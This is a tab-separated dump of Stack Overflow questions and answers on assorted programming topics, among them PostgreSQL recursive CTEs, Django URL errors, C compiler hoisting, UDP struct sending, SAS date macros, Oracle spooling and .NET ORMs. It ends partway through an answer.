40222894	0	 <p>To overcome the "<em>ERROR: query has no destination for result data</em>" error you don't need dynamic SQL.</p> <p>You can <a href="https://www.postgresql.org/docs/current/static/plpgsql-statements.html#PLPGSQL-STATEMENTS-SQL-ONEROW" rel="nofollow">select into a variable directly</a>:</p> <pre><code>select parentid into parent from account where childid = child_id; </code></pre> <hr> <p>But you can simplify your function by using a <a href="https://www.postgresql.org/docs/current/static/queries-with.html" rel="nofollow">recursive CTE</a> and a SQL function. That will perform a lot better especially with a large number of levels:</p> <pre><code>create or replace function build_mp(child_id text) returns text[] language sql as $$ with recursive all_levels (childid, parentid, level) as ( select childid, parentid, 1 from account where childid = child_id union all select c.childid, c.parentid, p.level + 1 from account c join all_levels p on p.parentid = c.childid ) select array_agg(childid order by level) from all_levels; $$; </code></pre>
12695965	0	How to perform a $_POST for this example below? <p>I have a multiple row of buttons in my javascript code which goes from A-Z:</p> <pre><code>&lt;?php $a = range("A","Z"); ?&gt; &lt;table id="answerSection"&gt; &lt;tr&gt; &lt;?php $i = 1; foreach($a as $key =&gt; $val){ if($i%7 == 1) echo"&lt;tr&gt;&lt;td&gt;"; echo"&lt;input type=\"button\" onclick=\"btnclick(this);\" value=\"$val\" id=\"answer".$val."\" name=\"answer".$val."Name\" class=\"answerBtns answers answerBtnsOff\"&gt;"; if($i%7 == 0) echo"&lt;/td&gt;&lt;/tr&gt;"; $i++; } ?&gt; &lt;/tr&gt; </code></pre> <p>Below is the javascript function where it turns on and off each individual button:</p> <pre><code>function btnclick(btn) { $(btn).toggleClass("answerBtnsOff"); $(btn).toggleClass("answerBtnsOn"); return false; } </code></pre> <p>I want to perform a $_POST so that it posts all of the buttons which has been turned on. Does anyone know how the post method should be written for this?</p>
35974432	1	Django NoReverseMatch at / <p>I am trying to add user uploadable images in my web app using Pillow. I created a Django Upload model and registered it in Admin. As soon as I added a photo using admin console I get the following error. Initially the website was working all fine</p> <p>The Error</p> <pre><code>NoReverseMatch at / Reverse for 'thing_detail' with arguments '()' and keyword arguments '{u'slug': ''}' not found. 1 pattern(s) tried: ['things/(?P&lt;slug&gt;[-\\w]+)/$'] Request Method: GET Request URL: http://localhost:8000/ Django Version: 1.8.4 Exception Type: NoReverseMatch Exception Value: Reverse for 'thing_detail' with arguments '()' and keyword arguments '{u'slug': ''}' not found. 1 pattern(s) tried: ['things/(?P&lt;slug&gt;[-\\w]+)/$'] Exception Location: /usr/local/lib/python2.7/dist-packages/django/core/urlresolvers.py in _reverse_with_prefix, line 496 Python Executable: /usr/bin/python Python Version: 2.7.6 Python Path: ['/home/shashank/development/hellowebapp/hellowebapp', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages/PILcompat', '/usr/lib/python2.7/dist-packages/gtk-2.0', '/usr/lib/pymodules/python2.7', '/usr/lib/python2.7/dist-packages/ubuntu-sso-client'] Server time: Sun, 13 Mar 2016 18:54:31 +0000 </code></pre> <p>Urls.py</p> <pre><code>from collection.backends import MyRegistrationView from django.conf.urls import include, url from django.contrib import admin from collection import views from django.conf import settings from django.views.generic import TemplateView from django.contrib.auth.views import ( password_reset, password_reset_done, password_reset_confirm, password_reset_complete ) urlpatterns = [ url(r'^$', views.index, name='home'), url(r'^about/$',TemplateView.as_view(template_name='about.html'),name='about'), url(r'^contact/$',TemplateView.as_view(template_name='contact.html'),name='contact'), url(r'^things/(?P&lt;slug&gt;[-\w]+)/$','collection.views.thing_detail',name='thing_detail'), url(r'^things/(?P&lt;slug&gt;[-\w]+)/edit/$','collection.views.edit_thing',name='edit_thing'), url(r'^things/(?P&lt;slug&gt;[-\w]+)/edit/weight$','collection.views.edit_weight',name='edit_weight'), url(r'^things/(?P&lt;slug&gt;[-\w]+)/delete/weight$','collection.views.remove_weight',name='remove_weight'), #WORKING url(r'^things/(?P&lt;pk&gt;\d+)/remove/$', 'collection.views.remove_weight', name='remove_weight'), url(r'^things/$',TemplateView.as_view(template_name='weight_removed.html'),name='weight_removed'), url(r'^(?P&lt;slug&gt;[\w\d-]+)/(?P&lt;pk&gt;\d+)/$','collection.views.remove_weight',name='remove_weight'), #url(r'^edit/(?P&lt;slug&gt;\d+)/weights$', 'collection.views.AddWeight',name='AddWeight'), # the new password reset URLs url(r'^accounts/password/reset/$',password_reset,{'template_name':'registration/password_reset_form.html'},name="password_reset"), url(r'^accounts/password/reset/done/$',password_reset_done,{'template_name':'registration/password_reset_done.html'},name="password_reset_done"), url(r'^accounts/password/reset/(?P&lt;uidb64&gt;[0-9A-Za-z]+)-(?P&lt;token&gt;.+)/$',password_reset_confirm,{'template_name':'registration/password_reset_confirm.html'},name="password_reset_confirm"), url(r'^accounts/password/done/$',password_reset_complete,{'template_name':'registration/password_reset_complete.html'},name="password_reset_complete"), #setup additional registeration page url(r'^accounts/register/$',MyRegistrationView.as_view(),name='registration_register'), url(r'^accounts/create_thing/$','collection.views.create_thing',name='registration_create_thing'), url(r'^accounts/',include('registration.backends.default.urls')), url(r'^admin/', include(admin.site.urls)), ] if settings.DEBUG: urlpatterns += [ url(r'^media/(?P&lt;path&gt;.*)$','django.views.static.serve',{'document_root': settings.MEDIA_ROOT,}), ] </code></pre> <p>Models .py</p> <pre><code>from django.db import models from django.contrib.auth.models import User from django.db import models from django.utils import timezone class Thing(models.Model): name = models.CharField(max_length=255) description = models.TextField() slug = models.SlugField(unique=True) user = models.OneToOneField(User, blank=True, null=True) class Weight(models.Model): date = models.DateTimeField(default=timezone.now) weight_value = models.CharField(max_length=255) thingRA = models.ForeignKey(Thing,related_name="weights") class Meta: order_with_respect_to = 'thingRA' ordering = ['date'] def get_image_path(instance, filename): return '/'.join(['thing_images', instance.thing.slug, filename]) class Upload(models.Model): thing = models.ForeignKey(Thing, related_name="uploads") image = models.ImageField(upload_to=get_image_path) </code></pre> <p>Admin.py</p> <pre><code>from django.contrib import admin # import your model from collection.models import Thing, Weight, Upload class ThingAdmin(admin.ModelAdmin): model = Thing list_display = ('name', 'description',) prepopulated_fields = {'slug': ('name',)} # and register it admin.site.register(Thing, ThingAdmin) class WeightAdmin(admin.ModelAdmin): model = Weight list_display = ('date','weight_value',) admin.site.register(Weight, WeightAdmin) class UploadAdmin(admin.ModelAdmin): list_display = ('thing', ) list_display_links = ('thing',) # and register it admin.site.register(Upload, UploadAdmin) </code></pre> <p>Base.html</p> <pre><code>{% load staticfiles %} &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt; {% block title %} WEB PAGE BY SHASHANK {% endblock title %} &lt;/title&gt; &lt;link rel="stylesheet" href="{% static 'css/style.css' %}" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="page"&gt; &lt;div id="logo"&gt; &lt;h1&gt;&lt;a href="/" id="logoLink"&gt;S PORTAL&lt;/a&gt;&lt;/h1&gt; &lt;/div&gt; &lt;div id="nav"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="{% url 'home' %}"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="{% url 'about' %}"&gt;About&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="{% url 'contact' %}"&gt;Contact&lt;/a&gt;&lt;/li&gt; {% if user.is_authenticated %} &lt;li&gt;&lt;a href="{% url 'auth_logout' %}"&gt;Logout&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="{% url 'thing_detail' slug=user.thing.slug %}"&gt;My Profile&lt;/a&gt;&lt;/li&gt; {% else %} &lt;li&gt;&lt;a href="{% url 'auth_login' %}"&gt;Login&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="{% url 'registration_register' %}"&gt;Register&lt;/a&gt;&lt;/li&gt; {% endif %} &lt;/ul&gt; &lt;/div&gt; {% block content %}{% endblock content %} &lt;div id="footer"&gt; &lt;p&gt; Webpage made by &lt;a href="/" target="_blank"&gt;SHASHANK&lt;/a&gt; &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>View.py</p> <pre><code>from django.shortcuts import render,redirect,get_object_or_404 from collection.models import Thing, Weight from collection.forms import ThingForm, WeightForm, ThingWeightFormSet from django.template.defaultfilters import slugify from django.contrib.auth.decorators import login_required from django.http import Http404 from django.views.decorators.csrf import csrf_protect from django.views.generic import ListView, CreateView, UpdateView from django import forms def index(request): things = Thing.objects.all() return render(request,'index.html',{'things':things,}) def thing_detail(request, slug): # grab the object... thingRA = Thing.objects.get(slug=slug) weights = thingRA.weights.all().order_by('-date') # and pass to the template return render(request, 'things/thing_detail.html', {'thing': thingRA, 'weights':weights,}) def edit_thing(request, slug): # grab the object thing = Thing.objects.get(slug=slug) # set the form we're using form_class = ThingForm # if we're coming to this view from a submitted form if request.method == 'POST': # grab the data from the submitted form and apply to # the form form = form_class(data=request.POST, instance=thing) if form.is_valid(): # save the new data form.save() return redirect('thing_detail', slug=thing.slug) # otherwise just create the form else: form = form_class(instance=thing) # and render the template return render(request, 'things/edit_thing.html', {'thing': thing,'form': form,}) def create_thing(request): form_class = ThingForm if request.method == 'POST': form = form_class(request.POST) if form.is_valid(): thing = form.save(commit=False) thing.user = request.user thing.slug = slugify(thing.name) thing.save() slug = slugify(thing.name) return redirect('thing_detail', slug=thing.slug) else: form = form_class() return render(request,'things/create_thing.html', {'form': form,}) def edit_weight(request, slug): thing = get_object_or_404(Thing, slug=slug) if request.method == "POST": form = WeightForm(request.POST) if form.is_valid(): weight = form.save(commit=False) weight.thingRA = thing weight.save() return redirect('thing_detail', slug=thing.slug) else: form = WeightForm() return render(request, 'things/edit_weight.html', {'form': form}) """WORKING WEIGHT def remove_weight(request, pk): weight = get_object_or_404(Weight, pk=pk) thing_pk = weight.thingRA.pk weight.delete() return redirect('weight_removed') """ def remove_weight(request, pk, slug): weight = get_object_or_404(Weight, pk=pk) thing = get_object_or_404(Thing, slug=slug) thing_pk = weight.thingRA.pk weight.delete() return redirect('thing_detail', slug=slug) @login_required def edit_thing(request, slug): # grab the object... thing = Thing.objects.get(slug=slug) # make sure the logged in user is the owner of the thing if thing.user != request.user: raise Http404 # set the form we're using... form_class = ThingForm # if we're coming to this view from a submitted form, if request.method == 'POST': # grab the data from the submitted form and # apply to the form form = form_class(data=request.POST, instance=thing) if form.is_valid(): # save the new data form.save() return redirect('thing_detail', slug=thing.slug) # otherwise just create the form else: form = form_class(instance=thing) # and render the template return render(request, 'things/edit_thing.html', {'thing': thing,'form': form,}) </code></pre>
113486	0	 <p>It's a good practice. Unless you use ViewState values on postbacks, or they are required by some complex control itself it's good idea to save on ViewState as part of what will be sent to the client.</p>
12869937	0	How can I access a link with a div id directly in jQuery Mobile? <p>Suppose I have a link, say, <code>http://www.example.com/index.html#xyz</code>. When I open it in browser with <code>www.example.com/index.html</code> it works fine, but when I have a link targeting <code>#xyz</code> on the same page it loads a new <code>data-role=content</code> page through ajax. </p> <p>Now my query is if I access the same URL directly as <code>http://www.example.com/index.html#xyz</code>, it loads the <code>www.example.com/index.html</code> and not the specific <code>#xyz</code> page. </p> <p>Is there any way to make this work? </p> <p>NOTE: The <code>#xyz</code> page content is loaded dynamically.</p>
14626552	0	 <p>This is called "hoisting" <code>SlowVariabele</code> out of the loop.</p> <p>The compiler can do it only if it can prove that the value of <code>SlowVariabele</code> is the same every time, and that evaluating <code>SlowVariabele</code> has no side-effects.</p> <p>So for example consider the following code (I assume for the sake of example that accessing through a pointer is "slow" for some reason):</p> <pre><code>void foo1(int *SlowVariabele, int *result) { for (int i = 0; i &lt; *SlowVariabele; ++i) { --*result; } } </code></pre> <p>The compiler cannot (in general) hoist, because for all it knows it will be called with <code>result == SlowVariabele</code>, and so the value of <code>*SlowVariabele</code> is changing during the loop.</p> <p>On the other hand:</p> <pre><code>void foo2(int *result) { int val = 12; int *SlowVariabele = &amp;val; for (int i = 0; i &lt; *SlowVariabele; ++i) { --*result; } } </code></pre> <p>Now at least in principle, the compiler <em>can</em> know that <code>val</code> never changes in the loop, and so it can hoist. Whether it actually does so is a matter of how aggressive the optimizer is and how good its analysis of the function is, but I'd expect any serious compiler to be capable of it.</p> <p>Similarly, if <code>foo1</code> was called with pointers that the compiler can determine (at the call site) are non-equal, and if the call is inlined, then the compiler could hoist. That's what <code>restrict</code> is for:</p> <pre><code>void foo3(int *restrict SlowVariabele, int *restrict result) { for (int i = 0; i &lt; *SlowVariabele; ++i) { --*result; } } </code></pre> <p><code>restrict</code> (introduced in C99) means "you must not call this function with <code>result == SlowVariabele</code>", and allows the compiler to hoist.</p> <p>Similarly:</p> <pre><code>void foo4(int *SlowVariabele, float *result) { for (int i = 0; i &lt; *SlowVariabele; ++i) { --*result; } } </code></pre> <p>The strict aliasing rules mean that <code>SlowVariable</code> and <code>result</code> must not refer to the same location (or the program has undefined behaviour anyway), and so again the compiler can hoist.</p>
20802831	0	 <p>Short answer: The Class <code>com.ku.aajakobazzar.MainActivity</code> is not in your project dependencies accordingly.</p>
15289290	0	 <p>There is 2 options for you:</p> <ol> <li>If your condition can be expressed in If Controller, then use standard <a href="http://jmeter.apache.org/usermanual/component_reference.html#Test_Action" rel="nofollow">Test Action</a> Component to stop test</li> <li>If you want to stop test when response time or error rate increases some threshod, then use custom <a href="http://code.google.com/p/jmeter-plugins/wiki/AutoStop" rel="nofollow">AutoStop</a> Component</li> </ol>
18914585	0	Losing data when sending by UDP <p>I've written a UDP send/receive function to send a struct and listen for another struct back. The bytes have to be sent in a particular order, but this is working OK as I'm using <code>#pragma pack(1)</code>. The only problem that I'm having now is that if any <code>Null</code> values (<code>0x00</code>) appear in the struct, the rest of the data after the <code>Null</code> disappears.</p> <p>I guess there's something fairly simple that I'm doing wrong, but here is my code:</p> <pre><code>typedef u_int8_t NN; typedef u_int8_t X; typedef int32_t S; typedef u_int32_t U; typedef char C; typedef struct{ X test; NN test2[2]; C test3[4]; S test4; } Test; int main(int argc, char** argv) { Test t; memset( &amp;t, 0, sizeof(t)); t.test = 0xde; t.test2[0]=0xad; t.test2[1]=0x00; t.test3[0]=0xbe; t.test3[1]=0xef; t.test3[2]=0xde; t.test3[3]=0xca; t.test4=0xde; LogOnResponse response; udp_send_receive(&amp;t, &amp;response); return 0; } </code></pre> <p>And here is my send/receive function:</p> <pre><code>int send_and_receive(void* message, void* reply, int do_send, int expect_reply) { struct sockaddr_in serv_addr; int sockfd, i, slen=sizeof(serv_addr); int buflen = BUFLEN; void* buf = NULL; struct timeval tv; int n_timeouts=1; int recv_retval; // printf("Message Size: %d\n", strlen(message)); if ( (strlen(message)) &gt;= BUFLEN) err("Message too big"); buf = malloc(buflen); if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1) err("socket"); tv.tv_sec = timeout_seconds; tv.tv_usec = timeout_microseconds; if( setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO,&amp;tv,sizeof(tv)) &lt; 0 ){ err("Setting Timout"); } bzero(&amp;serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(PORT); if (inet_aton(IP_ADDRESS, &amp;serv_addr.sin_addr)==0) err("inet_aton() failed\n"); //---Timeout Send/Receive loop do{ if(do_send == TRUE){ strcpy(buf, message); if (sendto(sockfd, buf, buflen, 0, (struct sockaddr*)&amp;serv_addr, slen)==-1) err("sendto()"); } if (expect_reply == TRUE){ if( (recv_retval = recvfrom(sockfd, buf, buflen, 0, (struct sockaddr*)&amp;serv_addr, &amp;slen)) == -1){ itercount++; } } }while ((itercount &lt; itermax) &amp;&amp; (recv_retval == -1)); if ( itercount != itermax ){ memcpy(reply, buf, BUFLEN); } else{ reply=NULL; } close(sockfd); free(buf); return 0; } void udp_send_receive(void* message, void* reply) { send_and_receive(message, reply, TRUE, TRUE); } </code></pre> <p>Running the above code and capturing the packets with <code>WireShark</code> shows:</p> <p><code>Data: DEAD000000000000000000....</code></p> <p>I'd like it to show:</p> <p><code>Data: DEAD00BEEFDECADE</code></p> <p>I'd really appreciate some pointers on this.</p>
31152731	0	 <p>Here, I am storing all the names ending with 'x' in <code>namex_list</code> instead of using the <code>list</code>(also a built-in variable) variable you used before.</p> <p>Also, i am assigning <code>namex_list</code> as an empty list before the while condition and printing the <code>namex_list</code> at the end outside of <code>while</code>.</p> <pre><code>namex_list = [] while True: name = input("Enter your name: ") if name == "": break if name.endswith("x"): namex_list.append(name) print (namex_list) </code></pre> <p>Also, <code>name == namex</code> does not check what you are trying to achieve because of the comparison between string values and boolean values.</p> <p>For example:</p> <pre><code>&gt;&gt;&gt; name1 = 'abc' &gt;&gt;&gt; name2 = 'abcx' &gt;&gt;&gt; namex1 = name1.endswith('x') &gt;&gt;&gt; namex2 = name2.endswith('x') &gt;&gt;&gt; namex1 False &gt;&gt;&gt; namex2 True &gt;&gt;&gt; name1 == namex1 False &gt;&gt;&gt; name2 == namex2 False </code></pre> <p>You should use an <code>if</code> instead to achieve what you are trying to achieve in your code above:</p> <pre><code>if name.endswith("x"): </code></pre>
32199622	0	 <p>This is rather crude but it should work. On the form :-</p> <pre><code>&lt;input type="checkbox" name="room101" value="1"&gt;Camera 101 &lt;input type="checkbox" name="room102" value="1"&gt;Camera 102 </code></pre> <p>In the PHP code :-</p> <pre><code>$room101 = (int) $_POST['room101']; $room102 = (int) $_POST['room102']; </code></pre> <p>The two variables will have either 1 (Selected) or 0 (Not selected)</p> <p>You could make the two variables an array if there are lots of cameras.</p>
28013028	0	 <p>For Your requirement. For creation of microposts. do something like this.</p> <pre><code>artist=Artist who is logged in artist.artist_micro_posts.build(attributes) artist.save </code></pre> <p>For creating comments to microposts</p> <pre><code>micro_posts= Micropost Id micro_post.artist_micropost_comments.build(:artist_id=logged in person) micro_post.save </code></pre>
2427125	0	 <p>I've been using the Mozex extension for Firefox for years.</p> <ul> <li><a href="http://mozex.mozdev.org/" rel="nofollow noreferrer">http://mozex.mozdev.org/</a></li> </ul> <p>Once installed, on the "Textarea" tab, assign a hot-key and enter the command to run. For example:</p> <pre><code>gnome-terminal -e "/usr/bin/vim %t" </code></pre> <p>When the hot-key is pressed, Mozex will create a temporary file and replace the "%t" above with its name.</p> <p>If there's more than one text area on a page it will allow you to pick which one you want to edit.</p> <p>Mozex provides a lot more functionality than just text area editing. If you want to "view source" with Vim, you can do that too.</p>
37725413	0	 <p>This is just a quick hack. I don't have enough information to refine the code. But is should definitely point you in the right direction. <br /> Your code was trying to connect to the Excel Spreadsheet. The proper way is to connect to your database and use conn.execute to run your queries. </p> <pre><code>Sub TransferSpreadsheet() Dim destinationTable As String, rangeAddress As String, SqlQuery As String Dim conn Set conn = CreateObject("ADODB.Connection") conn.Provider = "OLEDB;Provider=Microsoft.ACE.OLEDB.12.0;" conn.Open "C:\Users\tinzina\Datafiles\Spotlights.accdb" destinationTable = "TempTable" rangeAddress = getTableAddress("Sheet1") ExportExceltoAccessTable ThisWorkbook.Name, conn, destinationTable ' SqlQuery is the name of a "Saved Query" in your database 'The "Saved Query" will insert the records from TempTable into whatever table you want SqlQuery = "" conn.Execute SqlQuery End Sub Private Sub ExportExceltoAccessTable(conn, destinationTable, rangeAddress) On Error Resume Next conn.Execute "DROP TABLE " &amp; destinationTable &amp; ";" On Error GoTo 0 SqlQuery = "SELECT * INTO " &amp; destinationTable &amp; " FROM [Excel 8.0;HDR=YES;DATABASE=" &amp; ThisWorkbook.FullName &amp; "]." &amp; rangeAddress conn.Execute SqlQuery End Sub Public Function getTableAddress(wsSheetName) Dim r As range Set r = Worksheets(wsSheetName).UsedRange getTableAddress = "[" &amp; r.Worksheet.Name &amp; "$" &amp; r.Address(False, False) &amp; "]" End Function </code></pre> <p>Let me know if you have any questions</p>
12354482	0	 <p>You can make use of onreadystatechange event: <a href="http://www.w3schools.com/ajax/ajax_xmlhttprequest_onreadystatechange.asp" rel="nofollow">http://www.w3schools.com/ajax/ajax_xmlhttprequest_onreadystatechange.asp</a></p>
23510811	0	 <p>Use a case expression to get an order key:</p> <pre><code>select * from book_history order by case status when 1 then 100 -- any small value would do here when 0 then 200 -- any medium value would do here when 2 then 300 -- any big value would do here end; </code></pre>
13815683	0	how to minify a whole folder content using grunt.js <p>Instead of mention every <code>js</code> seperatly, is this the way to minify and concatinate a whole js folder?</p> <pre><code>module.exports = function(grunt) { grunt.initConfig({ min: { dist: { src: ['scripts/*.js'], dest: 'dist/built.min.js' } } }); }; </code></pre>
1246931	0	 <p>Set the delegate of the text field to you controller class, implement the <code>UITextFieldDelegate</code> protocol and put your formatting code in the <code>textField:shouldChangeCharactersInRange:replacementString:</code> method.</p>
1550960	0	 <p>The hashmaps work really well if the hashing function gives you a very uniform distribution of the hashvalues of the existing keys. With really bad hash function it can happen so that hash values of your 20 values will be the same, which will push the retrieval time to O(n). The binary search on the other hand guaranties you O(log n), but inserting data is more expensive.</p> <p>All of this is very incremental, the bigger your dataset is the less are the chances of a bad key distribution (if you are using a good, proven hash algorithm), and on smaller data sets the difference between O(n) and O(log n) is not much to worry about.</p>
4565391	0	 <p>It largely depends on your overall technology stack. If you're already set up with nHibernate and there's no external motivating factor (business reason, etc), then there's no true need to move over to EF4. However, if you're almost exclusively using the MS technology stack, then moving to EF4 will further that effort.</p> <p>That said, Spring.NET and nHibernate have a great, mature history of interoperability, and it's tough to fix what isn't broken. I'm in the process of building up a Domain Model using POCOs with EF4 and Spring.NET and can attest there are a lot of learning opportunities and instances of "OK, how am I going to do THAT?". But it's certainly doable and while there aren't many resources out there specifically of using EF4 and Spring.NET, there is good guidance in the general realm of EF4 and DDD.</p> <p>Dunno if that helped at all, but it's my two cents on the topic.</p>
21981408	0	sas macros for incrementing date <p>My codes are:</p> <pre><code>libname " Cp/mydata" options ; %let yyyymmdd=20050210; %let offset=0; %let startrange=0; %let endrange=0; /* MACRO FOR INCREMENTING THE DATE */ %macro base(yyyymmdd=, offset=); %local date x ds; /* declare macro variables with local scope */ %let date=%sysfunc(mdy(%substr(&amp;yyyymmdd,5,2) ,%substr(&amp;yyyymmdd,7,2) ,%substr(&amp;yyyymmdd,1,4))); /* convert yyyymmdd to SAS date */ %let loopout=100;/* hardcoded - number of times to check whether ds exists */ %do x=&amp;offset %to &amp;loopout; /* begin loop */ /* convert &amp;date to yyyymmdd format */ %let ds=AQ.CO_%sysfunc(intnx(day,&amp;date,&amp;offset),yymmddn8.); %if %sysfunc(exist( &amp;ds )) %then %do; %put &amp;ds exists!; &amp;ds /* write out the dataset, if it exists */ %let x=&amp;loopout; /* exit loop */ %end; %else %do; %put &amp;ds does not exist - checking subsequent day; %let date=&amp;date+1; %end; %end; %mend; %macro loop(yyyymmdd=, startrange=, endrange=); %local date x ds; %let date=%sysfunc(mdy(%substr(&amp;yyyymmdd,5,2) ,%substr(&amp;yyyymmdd,7,2) ,%substr(&amp;yyyymmdd,1,4))); data x; set set %base(yyyymmdd=&amp;yyyymmdd, offset=0) /* loop through each specific dataset, checking first whether it exists.. */ %do x=&amp;startrange %to &amp;endrange; %let ds=AQ.CO_%sysfunc(intnx(day,&amp;date,&amp;x),yymmddn8.); %if %sysfunc(exist( &amp;ds )) %then %do; &amp;ds %end; %end; ; run; %mend; </code></pre> <p>This was the error generated when I tried to run this macro.</p> <p>data temp;</p> <p>58 set %loop(yyyymmdd=&amp;yyyymmdd, startrange=&amp;startrange, 58 ! endrange=&amp;endrange); </p> <p>ERROR: File WORK.DATA.DATA does not exist.</p> <p>ERROR: File WORK.X.DATA does not exist.</p> <p>AQ.CO_20050210 does not exist - checking subsequent day</p> <p>AQ.CO_20050211 does not exist - checking subsequent day</p> <p>AQ.CO_20050212 exists!</p> <p>NOTE: The system stopped processing this step because of errors.</p> <p>I want help on two things:</p> <p>1) Here, I'm trying to increment my date by 1 or 2 or so on if that date is not there in my original dataset. Please help to make this macro work fine.</p> <p>2)I would like to have another column ie work.date in my data that will have 0 or 1(1 if the specified date yyyymmdd exist in our original data and 0 if I'm incrementing). Please make the specified changes in my macro. Thanks in advance!!</p>
39883988	0	 <p>SPOOL is a SQLPlus command, so you can not use it in a PlSQL block dynamically.</p> <p>One way could be creating at runtime a second script, dynamically built based on your query, and then run it to do the job. For example:</p> <pre><code>conn ... set serveroutput on set feedback off variable fullpath varchar2(20); variable filename varchar2(10); variable extension varchar2(5); variable sep varchar2(1); /* spool to a fixed file, that will contain your dynamic script */ spool d:\secondScript.sql begin select 'filename', 'd:\', 'txt', '|' into :filename, :fullpath, :extension, :sep from dual; /* write the second script */ dbms_output.put_line('set colsep ' || :sep); dbms_output.put_line('spool ' || :fullpath || :filename || '.' || :extension); dbms_output.put_line('select 1, 2, 3 from dual;'); dbms_output.put_line('spool off'); end; / spool off /* run the second script */ @d:\secondscript.sql </code></pre> <p>This gives:</p> <pre><code>SQL&gt; sta C:\firstScript.sql Connected. set colsep | spool d:\filename.txt select 1, 2, 3 from dual; 1| 2| 3 ----------|----------|---------- 1| 2| 3 </code></pre> <p><strong>d:\filename.txt</strong>:</p> <pre><code> 1| 2| 3 ----------|----------|---------- 1| 2| 3 </code></pre>
1487275	0	Programmatically switch the ID generator in NH mapping file <p>So I'm currently attempting to do a promotion of objects from one database to another in my app. Basically I want to allow the user to click a button and promote changes from staging to production, as it were.</p> <p>To do this, I really want to keep the IDs the same in order to help with debugging. So for example if the object has an ID of 6 in the staging db, I want it to have that same ID on production. To do this, we turned off identity on our production db and just made those primary key columns with non-null integers.</p> <p>In my staging mapping file, my IDs are mapped using the "identity" generator, but for production I want them to be "assigned". Is it possible to programmatically change this, perhaps using an interceptor or something similar?</p> <p>Thanks in advance!</p>
20497315	0	template template parameters with container and default allocator: can I make my declaration more compact? <p>I was looking at this interesting thread: <a href="http://stackoverflow.com/a/16596463/2436175">http://stackoverflow.com/a/16596463/2436175</a></p> <p>My specific case concerns declaring a templated function using a std container of cv::Point_ and cv::Rect_ from opencv. I want to template against: </p> <ul> <li>the type of std container I will use</li> <li>the basic data types to complete the definition of cv::Point_ and cv::Rect_</li> </ul> <p>I ended up with the following declaration:</p> <pre><code>template &lt;typename T, template &lt;typename, typename&gt; class Container_t&gt; void CreateRects(const Container_t&lt;cv::Point_&lt;T&gt;,std::allocator&lt;cv::Point_&lt;T&gt; &gt; &gt;&amp; points, const T value, Container_t&lt;cv::Rect_&lt;T&gt;,std::allocator&lt;cv::Rect_&lt;T&gt; &gt; &gt;&amp; rects) { } </code></pre> <p>which compiles fine with this:</p> <pre><code>void dummy() { const std::vector&lt;cv::Point_&lt;double&gt; &gt; points; std::vector&lt;cv::Rect_&lt;double&gt; &gt; rects; CreateRects(points,5.0,rects); } </code></pre> <p>(I have also seen that I can also use, for example, <code>CreateRects&lt;double&gt;(points,5,rects)</code>)</p> <p>I was wondering if there existed any way to make my declaration more compact, e.g. without the need to specify 2 times the default allocator.</p>
22157950	0	 <p>You cannot write to the install directory without explicit permission from the user.</p> <p>Here is the protocol instead:</p> <ul> <li>At first startup, check to see if there is a file in the local data folder (<code>ApplicationDataContainer</code>), if not, read in the file from the install directory.</li> <li>Write out a copy of the file to the local app data folder (Check out guides on <code>ApplicationDataContainer</code> for more info there)</li> <li>Edit this file freely.</li> </ul>
16819408	0	 <p>You are not referencing the <code>$id</code> variable, but rather a string text <code>id</code> which breaks the query statement. Add a dollar sign to reference the variable, and if it's anything but an integer, wrap it in single quotes, too.</p> <p><code>$query = "UPDATE utilizatori SET username = '$username', {...}, ip = '$ip' where id= '$id' ";</code></p>
27343768	0	Debugging runtime pl/sql errors <p>I’m new in pl/sq.</p> <p>So, I’m trying to call pl/sql stored procedure from Java, but appears error:</p> <pre><code>wrong number or types of arguments in call to ‘searchuser’. </code></pre> <p>Where can I find most specific exception?</p> <p>Is there some error logs or errors table in oracle? How can I debug these kind of problems?</p> <p>Thanks!</p>
7468556	0	 <p>Your solution is just fine. As long as you are only using 1 column for each "joined" table, and has no multiple matching rows, it is fine. In some cases, even better than joining. (the db engine could anytime change the direction of a join, if you are not using tricks to force a given direction, which could cause performance suprises. It is called query optimiyation, but as far as you really know your database, you should be the one to decide how the query should run).</p>
349755	0	 <p>Well, of the three you've listed, NHibernate has been around the longest. If you want to work with something which has a proven track record, that's probably a safe place to begin. </p> <p>It is pretty even across the four metrics (scale/learning curve/ease of use and performance) although you might find there is more information available due to it being around longer than the other two.</p> <p>LINQ to SQL has been released longer than the Entity Framework, but only runs against SQL Server flavours. It works very well as a fit-for-purpose ORM, but is not a feature-rich as the Entity Framework (which provides eSql amongst other things).</p> <p>LINQ to SQL is pretty easy to grasp (depending on your knowledge of LINQ) and more recently the quality of the generated queries has improved (since the earlier betas). I'm not sure how well it scales, or performs, but you'd have to think it's on par with an average developer's handwritten T-SQL (okay now that's a wild assumption!). It's pretty straightforward, and generates a very nice model for you within Visual Studio.</p> <p>There are other <a href="http://www.devart.com/dotconnect/linq.html" rel="nofollow noreferrer">(2) alternatives</a> for non-SQL Server databases support</p> <p>The Entity Framework is the newest of the three and as a result, still has some issues to be corrected (hopefully in the next version). It will work with a number of providers (it's not limited to SQL Server) and has additional goodness such as eSQL and <a href="http://msdn.microsoft.com/en-us/data/cc765425.aspx" rel="nofollow noreferrer">(1) Table-Per-Type inheritance</a>. It can be a bit tricky to learn at first, but once you've done one or two solutions with it, it gets predictable and easier to implement.</p> <p>Due to it being the latest, it'll take a bit more in terms of learning curve (also there's more to learn), and the performance is.. less than desirable (at present) but it does offer some interesting benefits (especially the support for multiple providers).</p> <p>I guess my question in reply is - are you just evaluating or do you need to produce a workable (production-ready) ORM solution? </p> <p>The Entity Framework probably isn't quite ready for serious production work 